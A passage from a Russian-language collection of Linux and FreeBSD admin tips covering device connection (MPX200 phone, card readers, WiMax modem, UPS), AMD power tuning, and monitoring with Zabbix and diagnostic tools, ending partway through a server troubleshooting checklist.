    Есть два способа как заставить MPX200 работать с Linux: IrDA  и wince-usb.
    
    1. Подключение через IrDA (SIR):
      
       Устанавливаем параметры для SiR порта
       /bin/setserial /dev/ttyS1 port 0x6f8 irq 3 uart 8250 baud_base 115200
    
       irattach /dev/ttyS1 -s
       
       Для RedHat-based Linux дистрибутивов делаем проще:
          В /etc/sysconfig/irda 
             IRDA=yes
             DEVICE=/dev/ttyS1
             DISCOVERY=yes
    
          # service irda start
    
       Запускем демон синхронизации (не из под root). Качаем с http://synce.sourceforge.net
          $ dccm
          Если используется пароль запускаем как "dccm -p пароль"
    
       Один раз указываем используемый  порт.
          # synce-serial-config ircomm0
       
       Стартуем pppd (про hotplug, ниже)
          # synce-serial-start
    
       Проверяем.
          $ pstatus
    
    Version
    =======
    Version:    4.20.0 (Microsoft Windows Mobile 2003 for Pocket PC Phone Edition (?))
    Platform:   3 (Windows CE)
    .....
    
       Завершаем сеанс
          # synce-serial-abort
    
    
    2. Подключение по USB.  Для 2.4.x ядра используем user space драйвер wince-usb
       http://cvs.sourceforge.net/viewcvs.py/synce/wince-usb/  + http://libusb.sourceforge.net 
      (последние 2.6.x ядра должны работать с модулями ipaq и usb-serial из коробки).
    
       Патчим. В самом начале ipaqd.c меняем значения IPAQ_ENDPOINT на
          #define IPAQ_ENDPOINT_IN        0x82                                            
          #define IPAQ_ENDPOINT_OUT       0x02  
    
       Далее в devlist[]  добавляем                                                                 
            { 0x045e, 0x00ce, "Motorola MPX200" },  
    
       Создаем /usr/local/bin/cebox.sh взяв пример из README к wince-usb, например:
          #!/bin/sh
          /usr/sbin/pppd nocrtscts local debug passive silent 192.168.1.1:192.168.1.2 ms-dns 192.168.1.1 noauth proxyarp
    
          $ dccm
    
       Подключаем телефон и сразу запускаем
          # rmmod ipaq (пока не поправили hotplug)
          # ipaqd 2>/var/log/ipaqd.log
    
       Далее запускаем synce-serial-* как в предыдущем шаге.
    
    3. Настройка HotPlug (чтобы все запускалось автоматически).
    
       В /etc/hotplug/usb.agent добавляем после блока с "LABEL="USB product $PRODUCT":
    
          if [ "$PRODUCT" = "45e/ce/0" ]; then
               /etc/hotplug/usb/ipaq
               exit 0
          fi
    
       Создаем /etc/hotplug/usb/ipaq
           #!/bin/bash
           killall -9 ipaqd
           killall dccm
           su -c /usr/bin/dccm /user/
           /usr/local/bin/ipaqd 2>/var/log/ipaq.log
    
    4. Стандартные команды synce:
          pcp - копирование файлов (аналог cp)
          pls - список файлов в директории (аналог ls)
          pmkdir - создание директории (аналог mkdir)
          pmv - перенос/переименование файлов (аналог mv)
          prm - удаление файлов (аналог rm)
          prmdir - удаление директорий
          prun - запуск программы на устройстве
          pstatus - статус устройства
          synce-install-cab - установка на устройство .cab файла
          orange - позволяет выдрать .cab из .exe инсталлера;
    
    
    В Modnight Commander удобно использовать VFS понимающую команды
    "cd #synce" и "cd #synceroot", 
    правда модуль раздаваемый на сайте synce у меня не заработал, пришлось его переписать: 
    ftp://ftp.opennet.ru/pub/sys/shell/synce-mcfs-patched/
    Для работы, копируем файлы synce и synceroot в /usr/lib/mc/extfs
    К extfs.ini добавляем:
       synce                                                                           
       synceroot
    
    Хорошая графическая оболочка для синхронизации календаря и адресной книги -
    MultiSync (http://multisync.sourceforge.net/)
    
     
    ----* Как подключить USB Card Reader к Linux   [обсудить]
     
    Для работы с многокарточными кардридерами необходимо чтобы ядро было
    собрано с опцией CONFIG_SCSI_MULTI_LUN=y или подгрузить модуль mod_scsi
    с параметром max_scsi_luns=N, иначе Linux будет воспринимать только
    первый слот кардридера.
    
    Проверить можно, например, так:
       zcat /proc/config.gz | grep CONFIG_SCSI_MULTI_LUN
    
    Решение 1.
    
    При использовании mod_scsi добавить в /etc/modules.conf:
        options scsi_mod max_scsi_luns=4294967295
    
    Решение 2.
    
    Заставить ядро опрашивать больше одного LUN у одного устройства.
        cat /proc/scsi/scsi и находим первый LUN нашего кардридера.
            Host: scsi1 Channel: 00 Id: 00 Lun: 00
    выбор цифр        ^          ^      ^
    
    Далее:
        echo "scsi add-single-device 1 0 0 1" > /proc/scsi/scsi
    
        echo "scsi add-single-device 1 0 0 2" > /proc/scsi/scsi
        echo "scsi add-single-device 1 0 0 3" > /proc/scsi/scsi
        ...
    
    Для удобства монтирования можно прописать в /etc/fstab:
    /dev/sda1       /mnt/smcard     auto
    user,noauto,noexec,mode=0444,rw,sync,codepage=866,iocharset=koi8-r 0 0
    /dev/sdb1       /mnt/cfcard     auto
    user,noauto,noexec,mode=0444,rw,sync,codepage=866,iocharset=koi8-r 0 0
    /dev/sdc1       /mnt/sdcard     auto
    user,noauto,noexec,mode=0444,rw,sync,codepage=866,iocharset=koi8-r 0 0
    /dev/sdd1       /mnt/mscard     auto
    user,noauto,noexec,mode=0444,rw,sync,codepage=866,iocharset=koi8-r 0 0
    
    PS. Для 2.6.x ядра:
      echo 8 > /sys/module/scsi_mod/parameters/max_luns
    
     
    ----* Как не разбирая корпус посмотреть модель материнской платы (доп. ссылка 1)   Автор: Anton V. Yuzhaninov  [комментарии]
     
    1. Просмотреть содержимое BIOS (проверял под Linux и FreeBSD)
        dd if=/dev/mem bs=64k skip=15 count=1 | strings | less
    в первых строчках обычно упоминается название материнской платы.
    
    2. Воспользоваться утилитой dmidecode
    
     
    ----* Как в Linux посмотреть порт/прерывание для ISA/PCI устройств.   [обсудить]
     
    pnpdump -c > isapnp.conf - дамп isa/pnp параметров
    isapnp isapnp.conf - установить параметры после изменения isapnp.conf 
    lspci, lspci -v, lspci -vvv -  список pci устройств. 
    scanpci или lspcidrake - найдет модули Linux ядра соответствующие устройствам
    (пакеты libhw-tools и ldetect).
    lshw - покажет исчерпывающую информацию о USB и PCI устройствах.
    setpci - поменять параметры pci устройства
    cat /proc/iomem
    cat /proc/ioports
    cat /proc/interrupts
    
     
    ----* Управление APC UPS через serial порт.   [комментарии]
     
    cu -s 2400 -e -o -h -l /dev/cuaa0 # 2400 Baud, 8 Data Bits, 1 Stop Bit, No Parity
    
    Команды:
      Y - переход в командный режим, только после Y будут выполняться остальные команды;
      K - выключение UPS через 15-30 сек. (K, задержка 1 сек, К, задержка 1 сек, <CR>);
      A, X, U и W - самотестироание;
      R - окончание сессии;
      L - Напряжение на входе;
      O - Напряжение на выходе;
      B - Вольтаж батареи;
      F - Частота в сети, Hz;
      M, N - максимальное и минимальное заргистрированное напряжение в сети;
      P - потребление энергии в %;
      C - температура.
    
    Когда нет питания UPS шлет '!' каждые 5 секунд, если питание появилось - шлет '$'.
    
     
    ----* Как подключить USB Flash накопитель в FreeBSD (доп. ссылка 1)   [комментарии]
     
    man umass
    Конфигурация ядра (FreeBSD 4.8 можно не пересобирать):
      device usb
      device ohci (OR device uhci)
      device umass
      device scbus
      device da
      device pass
    В логе смотрим подобное сообщение "da0 at umass-sim0 bus 0 target 0 lun 0"
    Монтируем:
      mount -t msdos /dev/da0s1 /mnt
    
     
    ----* Почему Linux ядро не использует всю память и пишет "Warning only 960MB will be used".   [комментарии]
     
    Если добавление в lilo append="mem=1536M" не помогает:
    
    Необходимо пересобрать 2.2.x ядро с опцией CONFIG_2GB=y
    Processor type and features -> Maximum Physical Memory -> 2Gb
    
    Если проблема проявляется в ядре 2.4.x - CONFIG_HIGHMEM, CONFIG_HIGHMEM4G или CONFIG_HIGHMEM64G
    
     
    ----* Включение Hyper-Threading scheduler в Linux, для CPU Xeon. (доп. ссылка 1)   [комментарии]
     
    Linux поддерживает Hyper-Threading начиная с ядра 2.4.17. 
       Ядро должно быть собрано как SMP,
       При загрузке, передаем параметр acpismp=force (в lilo: append=" acpismp=force")
        проверка работы: 
    cat /proc/cpuinfo, если среди flags есть "ht", то Hyper-Threading активирован.
    
     
    ----* Как под Linux установить параметры serial порта (прерывание, адрес порта)   [обсудить]
     
    /bin/setserial -b /dev/ttyS2 uart 16450 port 0x2E8 irq 5
    
     
    ----* Как уменьшить нагрев процессора AMD Athlon/Duron под Linux   [комментарии]
     
    Активируем ACPI в ядре (при включенном ACPI не будет работать APM):
      "general.setup" активируем  "acpi subsystem", "acpi bus" и "acpi Processor entry".
    Для Via kt133/133a и kx133:
       Включить "охлаждение": setpci -v -H1 -s 0:0.0 52=EB
       Выключить: setpci -v -H1 -s 0:0.0 52=6B
    Для Via kt266/266a:
       Включить: setpci -v -H1 -s 0:0.0 92=EB
       Выключить: setpci -v -H1 -s 0:0.0 92=6B
    
     
    ----* Как исправить падения Linux на AMD Athlon/Duron + AGP ?   [обсудить]
     
    В /etc/lilo.conf необходимо добавить append="mem=nopentium", например:
    image=/boot/vmlinuz
            label=linux
            root=/dev/hda1
            append="mem=nopentium console=tty12 hdc=ide-scsi"
    
     
    ----* Как на сервере обеспечить подключение PS/2 клавиатуры, без перезагрузки   [комментарии]
     
    Для того чтобы на загруженный без PS/2 клавиатуры сервер, можно было в любой
    момент подключить клавиатуру
    без перезагрузки, нужно в конфигурации ядра заменить строку:
       device          atkbd0  at atkbdc? irq 1 flags 0x1
    на
       device          atkbd0  at atkbdc? irq 1
    Т.е. убрать 'flags 0x1' и тем самым разрешить загружать драйвер клавиатуры
     при отключенной в момент загрузки клавиатуре.
    
     
    ----* Как сделать ноутбук с APU AMD гораздо тише и холоднее   Автор: Artem S. Tashkinov  [комментарии]
     
    Данная заметка касается владельцев ноутбуков на базе APU AMD поколений Zen
    3/4/5 без дискретной видеокарты. Применима ли она к другим - я проверить не могу.
    
    Итак, по пунктам:
    
    
    1. Уменьшение потребления энергии в idle режиме 
    
    1.1 Качаем, собираем и устанавливаем утилиту RyzenAdj. Возможно, она есть в
    вашем дистрибутиве из коробки - проверьте сами.
    
    1.2 Добавляем в автозапуск системы (rc.local/systemd unit - как вам нравится) следующую команду:
    
       ryzenadj --power-saving
    
    1.3 Возможно (по крайней мере это касается ноутбуков на основе Zen 4), эту
    команду нужно запускать после каждого цикла suspend resume и при отключении
    подключении питания, ибо EC материнской платы сбрасывает состояние
    энергосбережения в обоих случаях.
    
    Данная команда очень немного уменьшает производительность, но вы это не
    заметите. На моём HP ноутбуке с Ryzen 7 7840HS энергопотребление в режиме
    простоя после использования команды падает с ~3.5W до 0.7W.
    
    
    
    2. Уменьшение потребления энергии на задачи, которые не требуют максимальной
    производительности процессора.
    
    К сожалению, новомодный amd-pstate совершенно невменяем касаемо частот, которые
    он выставляет для задач, не требующих максимальной производительности процессора.
    
    Например, просмотр видео с использование аппаратного ускорения заставляет
    процессор висеть примерно на  близкой к максимальной частоте, при этом
    потребление энергии составляет примерно 15 ватт.
    
    Чтобы избежать этого, нужно выполнить следующую команду:
    
       echo balance_performance | sudo tee /sys/devices/system/cpu/cpufreq/*/energy_performance_preference
    
    При её использовании частота падает примерно вдвое, потребление энергии уменьшается примерно до 7W.
    
    Её также можно добавить в автозапуск системы.
    
    
    
    3. Уменьшение максимального энергопотребления и температуры APU.
    
    Команда ryzenadj имеет и другие опции:
    
    --tctl-temp=XX - установка максимальной температуры. Если вы хотите увеличить
    срок службы термопасты и вентилятора, советую уменьшить её. Для себя я выставил
    значение 80.
    
    --stapm-limit=XXXXX - максимальное потребление энергии в милливаттах (1/1000
    ватта), т.е. для 20W следует указывать 20000. Если у вас, например, APU с 54W,
    можно сделать его гораздо тише, выставив значение в 31W.
    
    --fast-limit=XXXXX - максимальное пиковое **кратковременное** потребление энергии в милливаттах.
    
    --slow-limit=XXXXX  - максимальное пиковое **долговременное** потребление энергии в  милливаттах.
    
    Во время автономной работы я запускаю следующую команду:
    
       ryzenadj --tctl-temp=70 --power-saving --stapm-limit=15000 --fast-limit=15000 --slow-limit=10000
    
    К слову сказать, RyzenAdj работает и в Windows.
    
    
    
    Источник: Artem S. Tashkinov (birdie). Если будут вопросы, оставляйте их здесь.
    
     
    ----* Настройка работы WiMax в Ubuntu Linux 9.04   Автор: Вершинин Егор  [комментарии]
     
    Имеем:
       Ubuntu Linux 9.04
       Yota WiMax модем Samsung SWC-U200
    и большое желание этот модем использовать в Ubuntu :)
     
    Алгоритм:
    1) В запущенной Ubuntu запускаем программу gnome-terminal (Приложения \ Стандартные \ Терминал)
    
    2) Переходим в привилегированный режим (становится пользователем root) - выполняем команду:
    
        sudo su
    
    и вводим свой пароль от учетной записи.
    
    3) Скачиваем последнюю версию драйвера MadWiMax следующей командой:
    
        wget http://madwimax.googlecode.com/files/madwimax-0.1.0.tar.gz
    
    Примечание: Для этого нужно активное интернет-подключение.
    
    4) Теперь распаковываем и переходим в созданный каталог:
    
        tar -xf madwimax-0.1.0.tar.gz
        cd madwimax-0.1.0/
    
    5) Дальнейший шаг - нужно установить библиотеки libusb1.x (т.к. драйвер madwimax основан на ней):
    
        apt-get install libusb-1.0-0-dev
    
    программа запросит подтверждение своих действий - соглашается
    
    6) Теперь можно скомпилировать и установить драйвер следующими командами:
    
        ./configure
        make
        make install
    
    после установки скопируйте вручную получившийся бинарник madwimax следующей командой:
    
        cp src/madwimax /usr/bin/
    
    7) Далее: Подключаем модем, ждем 10-20 секунд.
    
    8) Запускаем программу madwimax следующей командой:
    
        /usr/bin/madwimax
    
    программа должна написать примерно следующее:
    
       Device found
       Claimed interface
       Allocated tap interface: wimax0
    
    теперь мы должны набрать команду ifconfig и убедиться, что сетевой интерфейс wimax0 у нас появился.
    
    9) Последний шаг - осталось запустить DHCP-клиент и получить настройки
    IP-адреса, шлюза и DNS-сервера:
    
       dhclient
    
    Примечание: Перед выполнение команды dhclient отключите текущее интернет-подключение.
    
     
    ----* Установка ATI Catalyst 8.5 в Ubuntu 8.04 (доп. ссылка 1)   Автор: Pronix  [комментарии]
     
    1. Скачать ati-driver-installer-8-5-x86.x86_64.run
    
    2. В консоли выполнить для синхронизации списка пакетов, доступных в репозиториях:
    
       sudo apt-get update
    
    Затем, установить пакеты, необходимые для сборки модуля ядра из исходных
    текстов и создания deb пакета:
    
       sudo apt-get install build-essential fakeroot dh-make debhelper debconf libstdc++5 dkms linux-headers-$(uname -r)
    
    3. В консоли запускаем инсталлятор драйвера в режиме создания пакетов:
    
       sudo sh ati-driver-installer-8-5-x86.x86_64.run --buildpkg Ubuntu/8.04
    
    
    4. Теперь нужно занести в черный список драйвер fglrx из репозитория Ubuntu, выполняем
    
       sudo gedit /etc/default/linux-restricted-modules-common
    
    и в строке "DISABLED_MODULES" добавляем "fglrx"
    получаем строку:
    
       DISABLED_MODULES="fglrx"
    
    сохраняем файл
    
    5. далее в консоли устанавливаем подготовленные пакеты с драйвером:
    
       sudo dpkg -i xorg-driver-fglrx_8.493*.deb fglrx-kernel-source_8.493*.deb fglrx-amdcccle_8.493*.deb
    
    
    6. Перезагружаем X сервер. 
    
    7. проверяем:
    
       $ fglrxinfo
       display: :0.0 screen: 0
       OpenGL vendor string: ATI Technologies Inc.
       OpenGL renderer string: Radeon X1900 Series
       OpenGL version string: 2.1.7537 Release
    
    PS: все вышесказанное проверялось на i386 конфигурации с видеокартой X1900, 
    для amd64 возможны небольшие отличая в установке.
    
    Оригинал: http://pronix.isgreat.org/news.php?item.86.5
    
     

       Просмотр состояния и мониторинг системы

    ----* Полезные пакеты, которые можно установить на сервер для диагностики сбоев (доп. ссылка 1)   [комментарии]
     
    Минимальный набор пакетов  для диагностики проблем, которые рекомендуется
    заранее установить на серверы, чтобы не тратить время на установку
    дополнительных пакетов или поиск специализированных live-дистрибутивов.
    
    Установка диагностических утилит во время сбоя может превратиться в решение
    отдельной проблемы или потребовать много времени,  учитывая то, что во время
    сбоя может пропадать сетевое соединение, возникнуть проблемы с DNS, наблюдаться
    большие потери пакетов или снижение полосы пропускания, возникать большие
    задержки ввода команд из-за высокой нагрузки на CPU или исчерпания памяти,
    дисковый раздел может быть переведён в режим только для чтения и т.п.
    
    Список пакетов для предустановки (названия для Ubuntu) и поставляемые в них
    диагностические утилиты:
    
    
  • procps - утилиты ps, vmstat, uptime, top
  • util-linux - dmesg, lsblk, lscpu (общая статистика, информация о блочных устройствах и CPU)
  • sysstat - iostat, mpstat, pidstat, sar (оценка производительности)
  • iproute2 - ip, ss, nstat, tc (настройка сети и управление трафиком)
  • numactl - numastat (статистика по NUMA)
  • tcpdump - tcpdump (анализ трафика)
  • linux-tools-common и linux-tools-$(uname -r) - perf, turbostat (профилировние и мониторинг производительности)
  • bpfcc-tools (bcc) - opensnoop, execsnoop, runqlat, softirqs, hardirqs, ext4slower, ext4dist, biotop, biosnoop, biolatency, tcptop, tcplife, trace, argdist, funccount, profile (диагностика на базе eBPF)
  • bpftrace - bpftrace, opensnoop, execsnoop, runqlat, biosnoop (диагностика на базе eBPF)
  • trace-cmd - trace-cmd (CLI-интерфейс для ftrace)
  • nicstat - nicstat (информация о сетевых устройствах)
  • ethtool - ethtool (информация о сетевых устройствах)
  • tiptop - tiptop (PMU/PMC top)
  • cpuid - cpuid (информация о CPU)
  • msr-tools - rdmsr, wrmsr (информация о CPU) sudo apt install procps util-linux sysstat iproute2 numactl tcpdump linux-tools-common linux-tools-$(uname -r) bpfcc-tools bpftrace trace-cmd nicstat ethtool tiptop cpuid msr-tools
  •  
    ----* Трассировка обмена данными через Unix domain socket (доп. ссылка 1)   [комментарии]
     
    Для Unix domain socket до сих пор отсутствовал инструмент  для захвата или
    ослеживания содержимого канала связи, наподобие tcpdump для IP. Для решения
    данной задачи подготовлен новый инструмент udtrace, который реализован в
    виде разделяемой библиотеки, подключаемой через LD_PRELOAD.
    
    
    Загружаем код из Git:
    
        git clone git://git.gnumonks.org/udtrace
    
    Собираем командой:
    
        make
    
    Запускаем интересующее приложение в режиме трасиировки:
    
        LD_PRELOAD=libudtrace.os программа
    
    Например, чтобы узнать какие данные передаёт systemctl через Unix-сокет при
    выполнении команды "stat", можно запустить:
    
        LD_PRELOAD=libudtrace.so systemctl status
    
        >>> UDTRACE: Unix Domain Socket Trace initialized (TITAN support DISABLED)
        >>> UDTRACE: Adding FD 4
        >>> UDTRACE: connect(4, "/run/dbus/system_bus_socket")
        4 sendmsg W 00415554482045585445524e414c20
        4 sendmsg W 3331333033303330
        4 sendmsg W 0d0a4e45474f54494154455f554e49585f46440d0a424547494e0d0a
        [...]
         UDTRACE: Removing FD 4
    
    где, 
    
    * 4 - номер файлового дескриптора
    * sendmsg - имя системного вызова (кроме sendmsg может быть  read, write , readv и т.п.)
    * R|W - операция чтения или записи (со стороны отслеживаемого процесса)
    * шестнадцатеричный дамп переданных или полученных данных (отображаются только
    реально переданные через сокет данные, а не попавшие буфер передачи)
    
    Для декодирования шестнадцатеричного дампа можно собрать декодировщики от
    проекта Osmocom, написанные на языке TTCN-3 с использованием Eclipse TITAN.
    Для их включения при сборке можно указать флаг
    
       make ENABLE_TITAN=1
    
    После чего запускать трассировку строкой вида:
    
       LD_LIBRARY_PATH=/usr/lib/titan LD_PRELOAD=libudtrace.so systemctl status
    
     
    ----* Снятие показаний электросчетчика средствами OpenWRT (доп. ссылка 1)   Автор: Аноним  [комментарии]
     
    Предупреждение: все что вы делаете на свой страх и риск, так как существует
    вероятность "окирпичивания" Вашего роутера.
    
    Итак, берем роутер TP-LINK TL-WR842ND с прошивкой OpenWrt (на момент написания
    статьи автор использовал версию CHAOS CALMER 15.05, r46767) По начальной
    настройке роутера c OpenWrt информации в сети много. (Пример тому  толковый
    ролик Дмитрия Бачило - https://youtu.be/mVbtmjwkpgE ). В OpenWrt должeн быть
    установлен пакет bc.
    
    Создаем директорию: /usr/local/power, где будут хранится данные нашей
    программы: в файле /usr/local/power/v220 - показания электросчетчика, в файле
    /usr/local/power/watts - потребляемая мощность.
    
    Заменяем файл /etc/rc.button/reset на следующее содержание:
    
       #!/bin/sh
       POWER_LED=/sys/devices/platform/leds-gpio/leds/tp-link:green:system/brightness
       . /lib/functions.sh
       if [ "${ACTION}" = "released" ]
       then
          echo 0 > $POWER_LED
          cat $POWER_LED > /usr/local/power/switch
       else
          echo 1 > $POWER_LED
          cat $POWER_LED > /usr/local/power/switch
       fi
       return 0
    
    Разбираем роутер, выводим контакты с кнопки reset и подключаем к
    телеметрическому выходу электросчетчика. Если электросчетчик опломбирован, то
    подключаем роутер через фоторезистор к светодиоду счетчика. (Тогда в файле
    /usr/local/power/switch делаем замену echo 0 на echo 1 в шестой строке и echo 1
    на echo 0 в девятой строке).
    
    Теперь при нажатии (подачи КЗ) кнопки reset будет гореть индикатор "SYS", и в
    файле /usr/local/power/switch будет "1". При отжатии кнопки (снятии КЗ)
    соответственно гаснет "SYS" и в файле /usr/local/power/switch будет "0".
    
    Создаем файл /usr/local/power/my_power.sh c правом исполнения.
    
    В файле my_power.sh редактируем константу MERCURY в зависимости от
    электросчетчика (32 стоит по умолчанию, работал со счетчиком "Меркурий 201.5",
    где передаточное число, 3200 имп/кВт*ч) то есть сотая часть значения
    передаточного числа.
    
    содержание файла my_power.sh:
    
       #!/bin/sh
       SWITCH=/usr/local/power/switch
       MERCURY=32;
       COUNT=0;
       BLACK_COUNT=0;
       let START_TIME=`date +%s`
       read POWER < /usr/local/power/v220 ;
       while true
       do
          read pressed < $SWITCH
          if [ "$pressed" = "1" ] ;
          then
          
             if [ "$BLACK_COUNT" = "0" ] ;
             then
                let POWER_OFF=0
                let BLACK_COUNT=BLACK_COUNT+1
                let COUNT=COUNT+1
                if [ "$COUNT" = "$MERCURY" ] ;
                then
                   let END_TIME=`date +%s`
                   let DELTA=$(($END_TIME-$START_TIME))
                   let WATTS=$((3600/$DELTA))
                   printf "%g" "$(echo "scale=3; $WATTS/100"|bc )" >  /usr/local/power/watts
                   let COUNT=0
                   POWER=$(echo "scale=2; $POWER+0.01" | bc)
    
                   let START_TIME=$END_TIME
                   printf "%g" "$(echo "$POWER" )" > /usr/local/power/v220 ;
                fi
             fi
          fi
          if [ "$pressed" = "0" ];
          then
             let BLACK_COUNT=0
          fi
       done
    
    
    И запускаем командой: 
    
       /usr/local/power/my_power.sh &
    
     
    ----* Мониторинг MaxScale в Zabbix   Автор: Аноним  [комментарии]
     
    Рабочая задача - обеспечить в Zabbix 2.2 мониторинг прокси MaxScale.
    
    Пример скрипта "status":
    
       #!/usr/bin/php
       <?php
       $json_string = `/usr/bin/maxadmin -pmariadb show serversjson`;
       $obj=json_decode($json_string,true);
       echo $obj[$argv[1]]["nodeId"];
    
    Добавляем в zabbix_agentd.conf
    
       UserParameter=ServerStatus1, /<yourLovePlace>/status 0
       UserParameter=ServerStatus2, /<yourLovePlace>/status 1
       UserParameter=ServerStatus3, /<yourLovePlace>/status 2
    
    Если серверов больше чем у меня, добавляем новые строчки, параметр увеличиваем
    на 1. В zabbix ловим -1 это значит сервер не в кластере и идем разбираться.
    "show serversjson" еще много чего интересного выводит.
    
     
    ----* Утилиты для диагностики проблем с производительностью и анализа состояния подсистем Linux  (доп. ссылка 1)   [комментарии]
     
    Плакат с наглядным обзором утилит для диагностики проблем с производительностью
    и анализа состояния подсистем Linux:
    
    
    
    (http://www.brendangregg.com/Perf/linux_observability_tools.png)
    
    
    Утилиты для оптимизации производительности:
    
    
    
    (http://www.brendangregg.com/Perf/linux_tuning_tools.png)
    
    
    Утилиты для измерения производительности:
    
    
    
    (http://www.brendangregg.com/Perf/linux_benchmarking_tools.png)
    
    
    Использование утилиты sar:
    
    
    
    (http://www.brendangregg.com/Perf/linux_observability_sar.png)
    
     
    ----* Мониторинг температуры в Zabbix с использованием Digitemp   Автор: Denis Romanov  [комментарии]
     
    Получаем  параметр от 1-Wire датчика температуры DS18S20 и передаем на сервер Zabbix.
    
    Проверить доступные устройства:
    
       /usr/bin/digitemp_DS9097 -w -s /dev/rs232-0  -v -a
    
       Devices on the Main LAN
       10CD91160208005C : DS1820/DS18S20/DS1920 Temperature Sensor
       0167C0180E000089 : DS2401/DS1990A Serial Number iButton
    
    Поискать термодатчики:
    
       /usr/bin/digitemp_DS9097 -i -s /dev/rs232-0 -v -a
    
       Searching the 1-Wire LAN
       10CD91160208005C : DS1820/DS18S20/DS1920 Temperature Sensor
       ROM #0 : 10CD91160208005C
    
    Cоздание файла настроек (создает /etc/digitemp.conf)
    
       /usr/bin/digitemp_DS9097 -i -s /dev/rs232-0  -q -c /etc/digitemp.conf
    
    Получить температуру:
    
       /usr/bin/digitemp_DS9097 -c /etc/digitemp.conf -t 0
    
       DigiTemp v3.5.0 Copyright 1996-2007 by Brian C. Lane
       GNU Public License v2.0 - http://www.digitemp.com
       Feb 05 10:23:54 Sensor 0 C: 38.56 F: 101.41
    
    Напечатать  температуру:
    
       /usr/bin/digitemp_DS9097 -c /etc/digitemp.conf -t 0  -q
    
       Feb 05 10:25:21 Sensor 0 C: 38.56 F: 101.41
    
    Напечатать температуру  в градусах цельсия
    
       /usr/bin/digitemp_DS9097 -c /etc/digitemp.conf -t 0  -q | awk '{print $7}'
    
       38.56
    
    
    Часть из файла настроек агента Zabbix /etc/zabbix/zabbix_agentd.conf
    (передавать на сервер параметр)
    
       UserParameter=log.temperatur.ttys0, /etc/zabbix/temperature
    
    файла /etc/zabbix/temperatur (получить с правами пользователя Zabbix)
    
       #!/bin/bash
       cat /var/log/temperatur.ds18s20
    
    Опрос 1 раз в 5 минут
    Строка из файла  "планировщика заданий" /etc/crontab (получить данные из RS-232 c правами ROOT)
    
        */5 * * * *     root  digitemp_DS9097 -c /etc/digitemp.conf -t 0  -q | awk '{print $7}' > /var/log/temperatur.ds18s20
    
    
    На сервере  ZABBIX: получить от клиента параметр
    
       / zabbix_get -s 127.0.0.1  -k "log.temperatur.ttys0"
    
       38.50
    
    Теперь нужно привязать к хоту и вывести на экран график
    Создаем  "Item" , со временем опроса 600 секунд (5 минут)
    
    
    
    Создаем "Graph", который нам нарисует "Item"
    
    
    
    Результат:
    
    
    
     
    ----* Мониторинг репликации MySQL при помощи Zabbix   Автор: globus  [комментарии]
     
    0. Кому как удобно ставим zabbix агента. Создаем директорию /zabix/
    
    1. Создаем пользователя на слейве mysql.
     
       GRANT REPLICATION CLIENT ON *.*  TO 'replication'@'localhost' IDENTIFIED BY 'S0mEPass';
    
    2. пишем скрипт slave_status
    
       #!/bin/sh
       export PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:
    
       mysql --defaults-file=/zabix/.my.cnf -Bse "show slave status\\G" | grep $1 | awk '{ print $2 }' | head -n 1
    
    
    3. Делаем конфиг /zabbix/.my.cnf
    
       [client]
       user=replication
       host=localhost
       password='S0mEPass'
    
    Конфиг нужен затем, чтобы в вывод не попадали такие сообщения:
    
       Warning: Using a password on the command line interface can be insecure.
       Yes
    
    4. В конфиг zabbix агента добавляем
    
       UserParameter=mysql-slave[*],/scripts/slave_status "$1"
    
    5. Делаем рестарт zabbix агента
    
    Забираем (http://opennet.ru/soft/zbx_export_templates.xml или https://cloud.mail.ru/public/2feb5f4dee82/zbx_export_templates.xml
    ) шаблон для zabbix (работает на 2.2), в шаблоне три параметра и два триггера.  
    Допиливаем под себя, не забываем делать рестарты.
    
     
    ----* Первые 5 минут устранения неполадок на Linux-сервере (доп. ссылка 1)   Автор: Ivan Pesin  [комментарии]
     
    Когда наша команда еще занималась вопросами эксплуатации, оптимизации и
    масштабирования в предыдущей компании, нам приходилось иметь дело с отладкой
    медленно работающих приложений и целых инфраструктур, часто большого размера
    (представьте CNN или the World Bank). Горящие сроки, экзотические стеки
    технологий и недостаток информации обычно гарантировали незабываемые впечатления.
    
    Причины неполадок редко были очевидными; ниже я привожу список шагов, с которых
    мы обычно начинали поиск проблемы.
    
    Войдите немного в контекст
    
    Не спешите бросаться на сервера, сперва нужно выяснить, что уже известно о
    системе и специфике проблемы. Не стоит тратить время на поиск проблемы вслепую.
    
    Несколько обязательных вопросов, требующих ответа:
    
    
  • Какие конкретно наблюдаются симптомы? Подвисания? Ошибки?
  • Когда проблема была замечена впервые?
  • Воспроизводится ли она?
  • Есть ли закономерность (например, происходит каждый час)?
  • Какие были последние изменения в системе (код, сервисы, стек приложений)?
  • Влияет ли проблема на определенную группу пользователей (авторизированных, не авторизированных, с общим географическим расположением...)?
  • Имеется ли документация на архитектуру (физическую и логическую)?
  • Используется ли система мониторинга? Munin, Zabbix, Nagios, New Relic... Подойдет любая.
  • Ведется ли (централизированное) журналирование? Loggly, Airbrake, Graylog.. Последние два пункта представляют собой наиболее удобные источники информации, но не возлагайте на них больших надежд: как ни печально, именно мониторинг и журналирование часто отсутствуют. Если не повезло, сделайте заметку, что это нужно поправить, и двигайтесь дальше. Кто здесь? $ w $ last Не критично, но обычно не стоит заниматься устранением неполадок в системе, в то время когда с ней играются другие люди. На кухне достаточно одного повара. Что делали в системе? $ history Всегда полезно посмотреть на историю команд в комбинации с информацией о том, кто ранее заходил в систему. Не забывайте про ответственность: то, что вы администратор, не дает вам права нарушать чужую конфиденциальность. Маленькая заметка в уме на потом - вы можете задать переменную окружения HISTTIMEFORMAT, чтобы была возможность отслеживать время, когда выполнялись команды из истории. Нет ничего более раздражающего, чем анализ устаревшего списка команд, не имеющих отношения к проблеме... Что запущено? $ pstree -a $ ps aux Вывод ps aux содeржит, как правило, много подробной информации о процессах, тогда как pstree -a выдает наглядную и лаконичную картину запущенных процессов, вместе с родительской иерархией. "Слушающие" сервисы $ netstat -ntlp $ netstat -nulp $ netstat -nxlp Я предпочитаю выполнять эти команды отдельно, в основном потому что я не люблю смотреть на все сервисы одновременно. Тем не менее, netstat -nalp тоже подойдет и я бы не опускал опцию -n (IP-адреса, мне кажется, воспринимаются лучше). Определите запущенные службы и выясните должны ли они выполнятся. Посмотрите какие порты находятся в слушающем состоянии. PID слушающего процесса можно всегда найти в выводе ps aux. Это может оказаться очень полезным, особенно когда в системе одновременно запущены несколько Java или Erlang процессов. Обычно, мы стараемся, чтобы наши системы были более или менее специализированы, с небольшим количеством сервисов на каждой из них. Если вы видите десятки слушающих портов, наверно стоит отметить это себе в уме, чтобы потом 